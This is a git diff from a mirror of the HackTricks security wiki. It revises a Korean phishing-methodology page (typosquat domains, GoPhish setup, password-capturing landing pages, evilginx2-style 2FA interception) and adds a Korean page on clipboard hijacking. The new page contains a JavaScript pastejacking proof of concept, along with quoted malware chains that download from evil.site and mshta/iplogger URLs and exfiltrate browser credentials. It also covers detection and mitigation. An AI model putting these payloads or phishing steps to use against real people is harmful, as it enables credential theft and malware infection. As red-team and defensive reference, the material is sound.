mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
4832a49aa7
commit
39336bc828
@ -28,6 +28,7 @@
|
||||
- [Enable Nexmon Monitor And Injection On Android](generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md)
|
||||
- [Evil Twin EAP-TLS](generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md)
|
||||
- [Phishing Methodology](generic-methodologies-and-resources/phishing-methodology/README.md)
|
||||
- [Clipboard Hijacking](generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md)
|
||||
- [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
|
||||
- [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
|
||||
- [Discord Invite Hijacking](generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md)
|
||||
|
@ -6,11 +6,11 @@
|
||||
|
||||
1. 피해자 조사
|
||||
1. **피해자 도메인** 선택.
|
||||
2. 피해자가 사용하는 **로그인 포털**을 찾기 위해 기본 웹 열거 수행하고 **어떤 것을** **가장하는지** **결정**합니다.
|
||||
3. **OSINT**를 사용하여 **이메일** 찾기.
|
||||
2. 피해자가 사용하는 **로그인 포털**을 찾기 위해 기본 웹 열거 수행 후 **어떤 것을** **가장할지 결정**.
|
||||
3. **OSINT**를 사용하여 **이메일 찾기**.
|
||||
2. 환경 준비
|
||||
1. 피싱 평가에 사용할 **도메인 구매**.
|
||||
2. 관련 기록의 **이메일 서비스** 구성 (SPF, DMARC, DKIM, rDNS).
|
||||
2. 관련 기록(SPF, DMARC, DKIM, rDNS)으로 **이메일 서비스 구성**.
|
||||
3. **gophish**로 VPS 구성.
|
||||
3. 캠페인 준비
|
||||
1. **이메일 템플릿** 준비.
|
||||
@ -23,15 +23,15 @@
|
||||
|
||||
- **키워드**: 도메인 이름에 원래 도메인의 중요한 **키워드**가 포함됨 (예: zelster.com-management.com).
|
||||
- **하이픈 서브도메인**: 서브도메인의 **점**을 **하이픈**으로 변경 (예: www-zelster.com).
|
||||
- **새 TLD**: **새 TLD**를 사용하는 동일한 도메인 (예: zelster.org).
|
||||
- **호모글리프**: 도메인 이름의 문자를 **비슷하게 보이는 문자**로 **대체** (예: zelfser.com).
|
||||
- **새 TLD**: **새 TLD**를 사용하는 동일 도메인 (예: zelster.org).
|
||||
- **호모글리프**: 도메인 이름의 문자를 **유사한 문자**로 **대체** (예: zelfser.com).
|
||||
- **전치**: 도메인 이름 내에서 두 문자를 **교환** (예: zelsetr.com).
|
||||
- **단수화/복수화**: 도메인 이름 끝에 “s”를 추가하거나 제거 (예: zeltsers.com).
|
||||
- **생략**: 도메인 이름에서 **하나의** 문자를 **제거** (예: zelser.com).
|
||||
- **반복**: 도메인 이름에서 **하나의** 문자를 **반복** (예: zeltsser.com).
|
||||
- **대체**: 호모글리프와 비슷하지만 덜 은밀함. 도메인 이름의 문자를 원래 문자와 키보드에서 가까운 문자로 대체 (예: zektser.com).
|
||||
- **생략**: 도메인 이름에서 문자를 **하나 제거** (예: zelser.com).
|
||||
- **반복**: 도메인 이름에서 문자를 **하나 반복** (예: zeltsser.com).
|
||||
- **대체**: 호모글리프와 비슷하지만 덜 은밀함. 도메인 이름의 문자를 원래 문자와 가까운 키보드의 문자로 대체 (예: zektser.com).
|
||||
- **서브도메인화**: 도메인 이름 내에 **점**을 추가 (예: ze.lster.com).
|
||||
- **삽입**: 도메인 이름에 **문자**를 **삽입** (예: zerltser.com).
|
||||
- **삽입**: 도메인 이름에 문자를 **삽입** (예: zerltser.com).
|
||||
- **누락된 점**: 도메인 이름에 TLD를 추가 (예: zelstercom.com).
|
||||
|
||||
**자동 도구**
|
||||
@ -45,13 +45,13 @@
|
||||
- [https://dnstwister.report/](https://dnstwister.report)
|
||||
- [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/)
|
||||
|
||||
### 비트플리핑
|
||||
### 비트 플리핑
|
||||
|
||||
**저장되거나 통신 중인 일부 비트가 자동으로 뒤집힐 가능성**이 있습니다. 이는 태양 플레어, 우주선, 하드웨어 오류와 같은 다양한 요인으로 인해 발생할 수 있습니다.
|
||||
**저장되거나 통신 중인 일부 비트가 자동으로 뒤바뀔 가능성**이 있으며, 이는 태양 플레어, 우주선, 하드웨어 오류 등 다양한 요인으로 인해 발생할 수 있습니다.
|
||||
|
||||
이 개념이 **DNS 요청에 적용될 때**, **DNS 서버에서 수신된 도메인**이 처음 요청한 도메인과 다를 수 있습니다.
|
||||
|
||||
예를 들어, "windows.com"의 단일 비트 수정은 "windnws.com"으로 변경할 수 있습니다.
|
||||
예를 들어, "windows.com"의 단일 비트 수정은 "windnws.com"으로 변경될 수 있습니다.
|
||||
|
||||
공격자는 **피해자의 도메인과 유사한 여러 비트 플리핑 도메인을 등록하여 이를 이용할 수 있습니다**. 그들의 의도는 합법적인 사용자를 자신의 인프라로 리디렉션하는 것입니다.
|
||||
|
||||
@ -74,7 +74,7 @@
|
||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
**더 많은** 유효한 이메일 주소를 **발견하거나** 이미 발견한 이메일 주소를 **검증**하기 위해 피해자의 SMTP 서버를 브루트 포스할 수 있는지 확인할 수 있습니다. [여기에서 이메일 주소를 검증/발견하는 방법을 배우세요](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||
또한 사용자가 **메일에 접근하기 위해 웹 포털을 사용하는 경우**, 해당 포털이 **사용자 이름 브루트 포스**에 취약한지 확인하고 가능하다면 취약점을 이용하는 것을 잊지 마세요.
|
||||
또한 사용자가 **메일에 접근하기 위해 웹 포털을 사용하는 경우**, 해당 포털이 **사용자 이름 브루트 포스**에 취약한지 확인하고 가능하다면 취약점을 악용하는 것을 잊지 마세요.
|
||||
|
||||
## GoPhish 구성
|
||||
|
||||
@ -91,7 +91,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
|
||||
**TLS 인증서 구성**
|
||||
|
||||
이 단계 전에 **사용할 도메인을 이미 구매해야** 하며, 해당 도메인은 **gophish**를 구성하고 있는 **VPS의 IP**를 **가리켜야** 합니다.
|
||||
이 단계 전에 **사용할 도메인을 이미 구매**해야 하며, 해당 도메인은 **gophish**를 구성하고 있는 **VPS의 IP**를 **가리키고** 있어야 합니다.
|
||||
```bash
|
||||
DOMAIN="<domain>"
|
||||
wget https://dl.eff.org/certbot-auto
|
||||
@ -124,7 +124,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
||||
|
||||
마지막으로 **`/etc/hostname`** 및 **`/etc/mailname`** 파일을 도메인 이름으로 수정하고 **VPS를 재시작합니다.**
|
||||
|
||||
이제 **DNS A 레코드**를 `mail.<domain>`으로 생성하여 **VPS의 IP 주소**를 가리키고, **DNS MX** 레코드를 `mail.<domain>`으로 설정합니다.
|
||||
이제 **DNS A 레코드**를 `mail.<domain>`으로 생성하고 **VPS의 IP 주소**를 가리키며, **DNS MX** 레코드를 `mail.<domain>`으로 설정합니다.
|
||||
|
||||
이제 이메일을 보내는 테스트를 해봅시다:
|
||||
```bash
|
||||
@ -161,7 +161,7 @@ gophish의 실행을 중지하고 구성합시다.\
|
||||
```
|
||||
**gophish 서비스 구성**
|
||||
|
||||
gophish 서비스를 자동으로 시작하고 관리할 수 있도록 하려면 `/etc/init.d/gophish` 파일을 다음 내용으로 생성할 수 있습니다:
|
||||
gophish 서비스를 자동으로 시작하고 관리할 수 있도록 하려면 다음 내용을 포함한 파일 `/etc/init.d/gophish`를 생성할 수 있습니다:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# /etc/init.d/gophish
|
||||
@ -223,9 +223,9 @@ service gophish stop
|
||||
|
||||
### 기다리고 합법적으로 행동하기
|
||||
|
||||
도메인이 오래될수록 스팸으로 잡힐 가능성이 낮아집니다. 따라서 피싱 평가 전에 가능한 한 오랫동안 기다려야 합니다(최소 1주). 또한, 평판이 좋은 분야에 대한 페이지를 만들면 얻는 평판이 더 좋습니다.
|
||||
도메인이 오래될수록 스팸으로 잡힐 가능성이 낮아집니다. 따라서 피싱 평가 전에 가능한 한 오랫동안 (최소 1주일) 기다려야 합니다. 또한, 평판이 좋은 분야에 대한 페이지를 만들면 얻는 평판이 더 좋습니다.
|
||||
|
||||
1주를 기다려야 하더라도 지금 모든 구성을 마칠 수 있다는 점에 유의하세요.
|
||||
1주일을 기다려야 하더라도 지금 모든 구성을 마칠 수 있다는 점에 유의하세요.
|
||||
|
||||
### 역 DNS (rDNS) 레코드 구성
|
||||
|
||||
@ -235,7 +235,7 @@ VPS의 IP 주소를 도메인 이름으로 해석하는 rDNS (PTR) 레코드를
|
||||
|
||||
새 도메인에 대해 **SPF 레코드를 구성해야 합니다**. SPF 레코드가 무엇인지 모른다면 [**이 페이지를 읽어보세요**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
|
||||
|
||||
[https://www.spfwizard.net/](https://www.spfwizard.net) 를 사용하여 SPF 정책을 생성할 수 있습니다(사용할 VPS 머신의 IP를 입력하세요).
|
||||
[https://www.spfwizard.net/](https://www.spfwizard.net) 를 사용하여 SPF 정책을 생성할 수 있습니다 (VPS 머신의 IP를 사용하세요).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -247,7 +247,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
|
||||
새 도메인에 대해 **DMARC 레코드를 구성해야 합니다**. DMARC 레코드가 무엇인지 모른다면 [**이 페이지를 읽어보세요**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
|
||||
|
||||
다음 내용을 포함하여 호스트 이름 `_dmarc.<domain>`을 가리키는 새로운 DNS TXT 레코드를 생성해야 합니다:
|
||||
호스트 이름 `_dmarc.<domain>`을 가리키는 새로운 DNS TXT 레코드를 다음 내용으로 생성해야 합니다:
|
||||
```bash
|
||||
v=DMARC1; p=none
|
||||
```
|
||||
@ -257,7 +257,7 @@ v=DMARC1; p=none
|
||||
|
||||
이 튜토리얼은 다음을 기반으로 합니다: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> DKIM 키가 생성하는 두 B64 값을 연결해야 합니다:
|
||||
>
|
||||
> ```
|
||||
@ -271,7 +271,7 @@ v=DMARC1; p=none
|
||||
```bash
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||
```
|
||||
당신은 또한 **이메일 구성을 확인할 수 있습니다** `check-auth@verifier.port25.com`으로 이메일을 보내고 **응답을 읽는 것** (이를 위해서는 **포트 25를 열고** 이메일을 루트로 보냈을 경우 _/var/mail/root_ 파일에서 응답을 확인해야 합니다).\
|
||||
당신은 또한 **이메일 구성을 확인할 수 있습니다** `check-auth@verifier.port25.com`으로 이메일을 보내고 **응답을 읽습니다** (이를 위해서는 **포트 25를 열고** 이메일을 루트로 보냈을 경우 _/var/mail/root_ 파일에서 응답을 확인해야 합니다).\
|
||||
모든 테스트를 통과하는지 확인하세요:
|
||||
```bash
|
||||
==========================================================
|
||||
@ -291,7 +291,7 @@ dkim=pass header.i=@example.com;
|
||||
```
|
||||
### 스팸하우스 블랙리스트에서 제거하기
|
||||
|
||||
페이지 [www.mail-tester.com](https://www.mail-tester.com)에서 귀하의 도메인이 스팸하우스에 의해 차단되고 있는지 확인할 수 있습니다. 귀하의 도메인/IP를 제거 요청할 수 있는 곳: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
페이지 [www.mail-tester.com](https://www.mail-tester.com)은 귀하의 도메인이 스팸하우스에 의해 차단되고 있는지 확인할 수 있습니다. 귀하의 도메인/IP를 제거 요청할 수 있는 곳: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
|
||||
### 마이크로소프트 블랙리스트에서 제거하기
|
||||
|
||||
@ -307,14 +307,14 @@ dkim=pass header.i=@example.com;
|
||||
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!NOTE]
|
||||
> 모든 것이 작동하는지 테스트하기 위해 "**테스트 이메일 보내기**" 기능을 사용하는 것이 좋습니다.\
|
||||
> [!TIP]
|
||||
> "**테스트 이메일 보내기**" 기능을 사용하여 모든 것이 작동하는지 테스트하는 것이 좋습니다.\
|
||||
> 테스트를 진행할 때 블랙리스트에 올라가는 것을 피하기 위해 **10분 메일 주소로 테스트 이메일을 보내는 것을 추천합니다.**
|
||||
|
||||
### 이메일 템플릿
|
||||
|
||||
- 템플릿을 식별할 **이름**을 설정합니다.
|
||||
- 그런 다음 **제목**을 작성합니다 (이상한 내용이 아닌, 일반 이메일에서 읽을 수 있는 내용).
|
||||
- 그런 다음 **제목**을 작성합니다 (특별한 것이 아닌, 일반 이메일에서 읽을 수 있는 내용).
|
||||
- "**추적 이미지 추가**"를 체크했는지 확인합니다.
|
||||
- **이메일 템플릿**을 작성합니다 (다음 예제와 같이 변수를 사용할 수 있습니다):
|
||||
```html
|
||||
@ -343,24 +343,24 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 이메일 템플릿은 **전송할 파일을 첨부**할 수 있습니다. NTLM 챌린지를 훔치기 위해 특별히 제작된 파일/문서를 사용하고 싶다면 [이 페이지를 읽어보세요](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
|
||||
### 랜딩 페이지
|
||||
|
||||
- **이름**을 작성합니다.
|
||||
- 웹 페이지의 **HTML 코드를 작성**합니다. 웹 페이지를 **가져올** 수 있습니다.
|
||||
- 웹 페이지의 **HTML 코드를 작성**합니다. 웹 페이지를 **가져올 수** 있습니다.
|
||||
- **제출된 데이터 캡처** 및 **비밀번호 캡처**를 선택합니다.
|
||||
- **리디렉션**을 설정합니다.
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 일반적으로 페이지의 HTML 코드를 수정하고 로컬에서 몇 가지 테스트를 수행해야 합니다(아마도 Apache 서버를 사용하여) **결과가 마음에 들 때까지**. 그런 다음 그 HTML 코드를 상자에 작성합니다.\
|
||||
> HTML에 **정적 리소스**(아마도 CSS 및 JS 페이지)를 사용해야 하는 경우 _**/opt/gophish/static/endpoint**_에 저장한 후 _**/static/\<filename>**_에서 액세스할 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 리디렉션을 위해 **사용자를 피해자의 정품 메인 웹 페이지로 리디렉션**하거나 예를 들어 _/static/migration.html_로 리디렉션하여 **5초 동안 회전하는 휠**(**[**https://loading.io/**](https://loading.io)**)을 표시한 후 프로세스가 성공적으로 완료되었음을 알릴 수 있습니다.
|
||||
> [!TIP]
|
||||
> 리디렉션을 위해 **사용자를 피해자의 합법적인 메인 웹 페이지로 리디렉션**하거나 예를 들어 _/static/migration.html_로 리디렉션하여 **5초 동안 회전하는 휠(**[**https://loading.io/**](https://loading.io)**)을 표시한 후 프로세스가 성공적으로 완료되었다고 알릴 수 있습니다.**
|
||||
|
||||
### 사용자 및 그룹
|
||||
|
||||
@ -377,8 +377,8 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> 테스트 이메일을 **10분 메일 주소**로 보내는 것이 좋습니다. 테스트를 하면서 블랙리스트에 오르는 것을 피할 수 있습니다.
|
||||
> [!TIP]
|
||||
> 테스트 이메일을 **10분 메일 주소**로 보내는 것이 좋습니다. 테스트를 하면서 블랙리스트에 올라가는 것을 피할 수 있습니다.
|
||||
|
||||
모든 준비가 완료되면 캠페인을 시작하세요!
|
||||
|
||||
@ -392,8 +392,8 @@ clone-a-website.md
|
||||
|
||||
## 백도어가 포함된 문서 및 파일
|
||||
|
||||
일부 피싱 평가(주로 레드 팀의 경우)에서는 **백도어가 포함된 파일을 전송**하고 싶을 수 있습니다(아마도 C2 또는 인증을 트리거하는 것일 수 있습니다).\
|
||||
다음 페이지에서 몇 가지 예를 확인하세요:
|
||||
일부 피싱 평가(주로 레드 팀의 경우)에서는 **백도어가 포함된 파일을 전송**하고 싶을 수 있습니다(아마도 C2이거나 인증을 트리거하는 무언가일 수 있습니다).\
|
||||
다음 페이지에서 몇 가지 예제를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
phishing-documents.md
|
||||
@ -405,35 +405,43 @@ phishing-documents.md
|
||||
|
||||
이전 공격은 실제 웹사이트를 가장하고 사용자가 설정한 정보를 수집하는 매우 영리한 방법입니다. 불행히도 사용자가 올바른 비밀번호를 입력하지 않거나 가장한 애플리케이션이 2FA로 구성된 경우, **이 정보로는 속은 사용자를 가장할 수 없습니다**.
|
||||
|
||||
이때 [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) 및 [**muraena**](https://github.com/muraenateam/muraena)와 같은 도구가 유용합니다. 이 도구는 MitM과 같은 공격을 생성할 수 있게 해줍니다. 기본적으로 공격은 다음과 같은 방식으로 작동합니다:
|
||||
이럴 때 [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) 및 [**muraena**](https://github.com/muraenateam/muraena)와 같은 도구가 유용합니다. 이 도구는 MitM과 같은 공격을 생성할 수 있게 해줍니다. 기본적으로 공격은 다음과 같은 방식으로 작동합니다:
|
||||
|
||||
1. 실제 웹페이지의 로그인 양식을 **가장**합니다.
|
||||
2. 사용자가 **자신의 자격 증명**을 가짜 페이지로 **전송**하고 도구는 이를 실제 웹페이지로 전송하여 **자격 증명이 작동하는지 확인**합니다.
|
||||
1. 실제 웹페이지의 로그인 양식을 **가장합니다**.
|
||||
2. 사용자가 **자신의 자격 증명**을 가짜 페이지로 **전송**하고 도구는 이를 실제 웹페이지로 전송하여 **자격 증명이 작동하는지 확인합니다**.
|
||||
3. 계정이 **2FA**로 구성된 경우, MitM 페이지는 이를 요청하고 사용자가 **입력**하면 도구는 이를 실제 웹페이지로 전송합니다.
|
||||
4. 사용자가 인증되면 공격자는 **자격 증명, 2FA, 쿠키 및 도구가 MitM을 수행하는 동안의 모든 상호작용 정보를 캡처**하게 됩니다.
|
||||
|
||||
### VNC를 통한
|
||||
|
||||
피해자를 **원본과 동일한 모습의 악성 페이지**로 보내는 대신, **실제 웹 페이지에 연결된 브라우저가 있는 VNC 세션**으로 보낸다면 어떻게 될까요? 사용자가 하는 일을 보고 비밀번호, 사용된 MFA, 쿠키 등을 훔칠 수 있습니다.\
|
||||
피해자를 **원본과 동일한 모습의 악성 페이지**로 보내는 대신, **실제 웹 페이지에 연결된 브라우저가 있는 VNC 세션**으로 보낼 수 있다면 어떻게 될까요? 사용자가 하는 일을 볼 수 있고, 비밀번호, 사용된 MFA, 쿠키 등을 훔칠 수 있습니다.\
|
||||
이것은 [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)로 수행할 수 있습니다.
|
||||
|
||||
## 탐지 감지
|
||||
|
||||
당연히 자신이 발각되었는지 아는 가장 좋은 방법 중 하나는 **블랙리스트에서 도메인을 검색**하는 것입니다. 목록에 나타나면, 어떤 식으로든 귀하의 도메인이 의심스럽다고 감지된 것입니다.\
|
||||
당연히 자신이 발각되었는지 아는 가장 좋은 방법 중 하나는 **블랙리스트에서 도메인을 검색하는 것입니다**. 만약 목록에 나타난다면, 어떤 식으로든 당신의 도메인이 의심스럽다고 감지된 것입니다.\
|
||||
도메인이 블랙리스트에 나타나는지 확인하는 쉬운 방법은 [https://malwareworld.com/](https://malwareworld.com) 를 사용하는 것입니다.
|
||||
|
||||
그러나 피해자가 **야생에서 의심스러운 피싱 활동을 적극적으로 찾고 있는지** 아는 다른 방법도 있습니다:
|
||||
그러나 피해자가 **활발히 의심스러운 피싱 활동을 찾고 있는지** 아는 다른 방법도 있습니다. 이는 다음과 같이 설명됩니다:
|
||||
|
||||
{{#ref}}
|
||||
detecting-phising.md
|
||||
{{#endref}}
|
||||
|
||||
피해자의 도메인과 **매우 유사한 이름의 도메인을 구매**하거나 **귀하가 제어하는 도메인의 서브도메인에 대한 인증서를 생성**할 수 있습니다. 피해자의 도메인의 **키워드**를 포함하는 경우, 피해자가 이들과 **DNS 또는 HTTP 상호작용**을 수행하면 **그가 의심스러운 도메인을 적극적으로 찾고 있다는 것을 알 수 있으며** 매우 은밀해야 합니다.
|
||||
피해자의 도메인과 **매우 유사한 이름의 도메인을 구매**하거나 **당신이 제어하는 도메인의 서브도메인에 대한 인증서를 생성**할 수 있습니다. 피해자의 도메인의 **키워드**를 포함하는 경우입니다. 만약 **피해자**가 그들과 어떤 종류의 **DNS 또는 HTTP 상호작용**을 수행하면, **그가 의심스러운 도메인을 활발히 찾고 있다는 것을 알 수 있으며 매우 은밀해야 합니다.**
|
||||
|
||||
### 피싱 평가
|
||||
|
||||
[**Phishious**](https://github.com/Rices/Phishious)를 사용하여 이메일이 스팸 폴더에 들어갈지, 차단될지, 성공할지를 평가하세요.
|
||||
|
||||
## 클립보드 하이재킹 / 붙여넣기 해킹
|
||||
|
||||
공격자는 손상된 웹 페이지나 오타가 있는 웹 페이지에서 피해자의 클립보드에 악성 명령을 조용히 복사한 다음 사용자가 **Win + R**, **Win + X** 또는 터미널 창에 붙여넣도록 속여서 다운로드나 첨부 없이 임의의 코드를 실행할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
clipboard-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||
|
@ -0,0 +1,88 @@
|
||||
# Clipboard Hijacking (Pastejacking) Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> "절대 자신이 복사하지 않은 것을 붙여넣지 마세요." – 오래된 조언이지만 여전히 유효합니다.
|
||||
|
||||
## Overview
|
||||
|
||||
Clipboard hijacking – 또한 *pastejacking*으로 알려져 있음 – 사용자가 명령을 검사하지 않고 일상적으로 복사하고 붙여넣는 사실을 악용합니다. 악의적인 웹 페이지(또는 Electron 또는 데스크탑 애플리케이션과 같은 JavaScript를 지원하는 컨텍스트)는 공격자가 제어하는 텍스트를 시스템 클립보드에 프로그래밍 방식으로 삽입합니다. 피해자는 일반적으로 정교하게 제작된 사회 공학 지침에 의해 **Win + R** (실행 대화 상자), **Win + X** (빠른 액세스 / PowerShell)을 누르거나 터미널을 열고 클립보드 내용을 *붙여넣기* 하도록 유도되어 즉시 임의의 명령을 실행하게 됩니다.
|
||||
|
||||
**파일이 다운로드되지 않고 첨부파일이 열리지 않기 때문에**, 이 기술은 첨부파일, 매크로 또는 직접 명령 실행을 모니터링하는 대부분의 이메일 및 웹 콘텐츠 보안 제어를 우회합니다. 따라서 이 공격은 NetSupport RAT, Latrodectus 로더 또는 Lumma Stealer와 같은 상용 맬웨어 패밀리를 배포하는 피싱 캠페인에서 인기가 있습니다.
|
||||
|
||||
## JavaScript Proof-of-Concept
|
||||
```html
|
||||
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
|
||||
<button id="fix" onclick="copyPayload()">Fix the error</button>
|
||||
<script>
|
||||
function copyPayload() {
|
||||
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
|
||||
navigator.clipboard.writeText(payload)
|
||||
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
|
||||
}
|
||||
</script>
|
||||
```
|
||||
이전 캠페인은 `document.execCommand('copy')`를 사용했지만, 최신 캠페인은 비동기 **Clipboard API** (`navigator.clipboard.writeText`)에 의존합니다.
|
||||
|
||||
## ClickFix / ClearFake 흐름
|
||||
|
||||
1. 사용자가 오타가 있는 또는 손상된 사이트(예: `docusign.sa[.]com`)를 방문합니다.
|
||||
2. 주입된 **ClearFake** JavaScript가 `unsecuredCopyToClipboard()` 헬퍼를 호출하여 Base64로 인코딩된 PowerShell 원라이너를 클립보드에 조용히 저장합니다.
|
||||
3. HTML 지침은 피해자에게 다음과 같이 말합니다: *“**Win + R**을 누르고, 명령을 붙여넣고 Enter를 눌러 문제를 해결하세요.”*
|
||||
4. `powershell.exe`가 실행되어 합법적인 실행 파일과 악성 DLL이 포함된 아카이브를 다운로드합니다(고전적인 DLL 사이드로딩).
|
||||
5. 로더가 추가 단계를 복호화하고, 셸코드를 주입하며, 지속성을 설치합니다(예: 예약 작업) – 궁극적으로 NetSupport RAT / Latrodectus / Lumma Stealer를 실행합니다.
|
||||
|
||||
### 예시 NetSupport RAT 체인
|
||||
```powershell
|
||||
powershell -nop -w hidden -enc <Base64>
|
||||
# ↓ Decodes to:
|
||||
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
|
||||
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
|
||||
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
|
||||
```
|
||||
* `jp2launcher.exe` (정상적인 Java WebStart)는 자신의 디렉토리에서 `msvcp140.dll`을 검색합니다.
|
||||
* 악성 DLL은 **GetProcAddress**로 API를 동적으로 해결하고, **curl.exe**를 통해 두 개의 바이너리(`data_3.bin`, `data_4.bin`)를 다운로드하며, `"https://google.com/"`라는 롤링 XOR 키를 사용하여 이를 복호화하고, 최종 셸코드를 주입하며 **client32.exe** (NetSupport RAT)를 `C:\ProgramData\SecurityCheck_v1\`에 압축 해제합니다.
|
||||
|
||||
### Latrodectus Loader
|
||||
```
|
||||
powershell -nop -enc <Base64> # Cloud Identificator: 2031
|
||||
```
|
||||
1. **curl.exe**로 `la.txt` 다운로드
|
||||
2. **cscript.exe** 내에서 JScript 다운로더 실행
|
||||
3. MSI 페이로드를 가져옴 → 서명된 애플리케이션 옆에 `libcef.dll` 드롭 → DLL 사이드로딩 → 셸코드 → Latrodectus.
|
||||
|
||||
### MSHTA를 통한 Lumma Stealer
|
||||
```
|
||||
mshta https://iplogger.co/xxxx =+\\xxx
|
||||
```
|
||||
The **mshta** 호출은 숨겨진 PowerShell 스크립트를 실행하여 `PartyContinued.exe`를 검색하고, `Boat.pst` (CAB)를 추출하며, `extrac32` 및 파일 연결을 통해 `AutoIt3.exe`를 재구성한 후, 브라우저 자격 증명을 `sumeriavgv.digital`로 유출하는 `.a3x` 스크립트를 실행합니다.
|
||||
|
||||
## 탐지 및 사냥
|
||||
|
||||
블루팀은 클립보드, 프로세스 생성 및 레지스트리 텔레메트리를 결합하여 pastejacking 남용을 정확히 찾아낼 수 있습니다:
|
||||
|
||||
* Windows 레지스트리: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`는 **Win + R** 명령의 기록을 유지합니다 – 비정상적인 Base64 / 난독화된 항목을 찾아보세요.
|
||||
* 보안 이벤트 ID **4688** (프로세스 생성)에서 `ParentImage` == `explorer.exe`이고 `NewProcessName`이 { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }에 있는 경우.
|
||||
* 의심스러운 4688 이벤트 직전에 `%LocalAppData%\Microsoft\Windows\WinX\` 또는 임시 폴더에서 파일 생성에 대한 이벤트 ID **4663**.
|
||||
* EDR 클립보드 센서 (존재하는 경우) – `Clipboard Write`가 새로운 PowerShell 프로세스에 의해 즉시 이어지는지 상관관계 분석.
|
||||
|
||||
## 완화 조치
|
||||
|
||||
1. 브라우저 강화 – 클립보드 쓰기 접근을 비활성화 (`dom.events.asyncClipboard.clipboardItem` 등)하거나 사용자 제스처를 요구합니다.
|
||||
2. 보안 인식 – 사용자에게 민감한 명령을 *타이핑* 하거나 먼저 텍스트 편집기에 붙여넣도록 교육합니다.
|
||||
3. PowerShell 제한 언어 모드 / 실행 정책 + 응용 프로그램 제어를 통해 임의의 원라이너를 차단합니다.
|
||||
4. 네트워크 제어 – 알려진 pastejacking 및 악성 C2 도메인에 대한 아웃바운드 요청을 차단합니다.
|
||||
|
||||
## 관련 트릭
|
||||
|
||||
* **Discord 초대 하이재킹**은 사용자를 악성 서버로 유인한 후 동일한 ClickFix 접근 방식을 자주 남용합니다:
|
||||
{{#ref}}
|
||||
discord-invite-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
## 참조
|
||||
|
||||
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
|
||||
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user